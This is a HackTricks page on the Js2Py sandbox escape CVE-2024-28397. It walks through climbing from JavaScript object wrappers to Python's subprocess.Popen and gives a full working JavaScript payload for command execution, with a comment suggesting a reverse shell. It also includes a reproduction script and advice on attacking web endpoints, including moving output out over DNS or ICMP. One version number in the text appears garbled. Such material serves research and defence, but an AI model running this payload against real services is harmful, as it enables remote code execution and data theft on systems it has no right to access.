Js2Py sandbox escape (CVE-2024-28397)
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Js2Py translates JavaScript into Python objects, so even when js2py.disable_pyimport() is used, untrusted JS can traverse Python internals to reach dangerous classes such as subprocess.Popen. Versions 20.74 allow abusing Python reflection primitives that Js2Py exposes to JS objects to obtain RCE from otherwise “sandboxed” JavaScript.
Primitive: pivot from JS object wrappers to Python objects
- Get a Python-backed object:
Object.getOwnPropertyNames({})returns adict_keysobject in Python space. - Recover attribute access: grab
.__getattribute__from that object and call it to read arbitrary attributes (e.g.,"__class__"). - Climb to
object: from<class 'dict_keys'>read.__base__to reach Python’s baseobject. - Enumerate loaded classes: call
object.__subclasses__()to walk every class already loaded in the interpreter. - Find
subprocess.Popen: recursively search subclasses where__module__ == "subprocess"and__name__ == "Popen". - Execute a command: instantiate Popen with attacker-controlled arguments and invoke
.communicate()to capture output.
Example payload abusing Js2Py to reach subprocess.Popen
// Replace cmd with desired payload (reverse shell / ping / etc.)
let cmd = "id";
let hacked, bymarve, n11;
let getattr, obj;
hacked = Object.getOwnPropertyNames({}); // -> dict_keys([])
bymarve = hacked.__getattribute__;
n11 = bymarve("__getattribute__"); // attribute access primitive
obj = n11("__class__").__base__; // pivot to <class 'object'>
getattr = obj.__getattribute__;
function findpopen(o) {
let result;
for (let i in o.__subclasses__()) {
let item = o.__subclasses__()[i];
if (item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item;
}
if (item.__name__ != "type" && (result = findpopen(item))) {
return result;
}
}
}
// Popen(cmd, stdin/out/err pipes...) then .communicate() for output
n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
console.log(n11);
n11; // returned to caller if framework sends eval_js result back
Why this works: Js2Py exposes Python object wrappers to JS without stripping __getattribute__, __class__, __base__, or __subclasses__. disable_pyimport() only blocks explicit pyimport, but the above chain never imports anything new; it reuses already-loaded modules and classes in memory.
Reproducing the chain locally
# Js2Py 0.74 breaks on Python 3.12/3.13; pin 3.11 for testing
uv run --with js2py==0.74 --python 3.11 python - <<'PY'
import js2py
print(js2py.eval_js("Object.getOwnPropertyNames({})")) # dict_keys([])
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__")) # method-wrapper
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\")"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__.__subclasses__()"))
PY
Operating against web sandboxes
- Any endpoint that feeds attacker-controlled JS into
js2py.eval_js(for example, a Flask/run_codeAPI) is immediately RCE if the process user has shell access. - Returning
jsonify({'result': result})will fail when.communicate()returns bytes; decode or direct output to DNS/ICMP to avoid serialization blockers. disable_pyimport()does not mitigate this chain; hard isolation (separate process/container) or removing Js2Py execution of untrusted code is required.
References
- HTB: CodeTwo write-up (Js2Py CVE-2024-28397 escape)
- Marven11 CVE-2024-28397 Js2Py sandbox escape PoC
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.


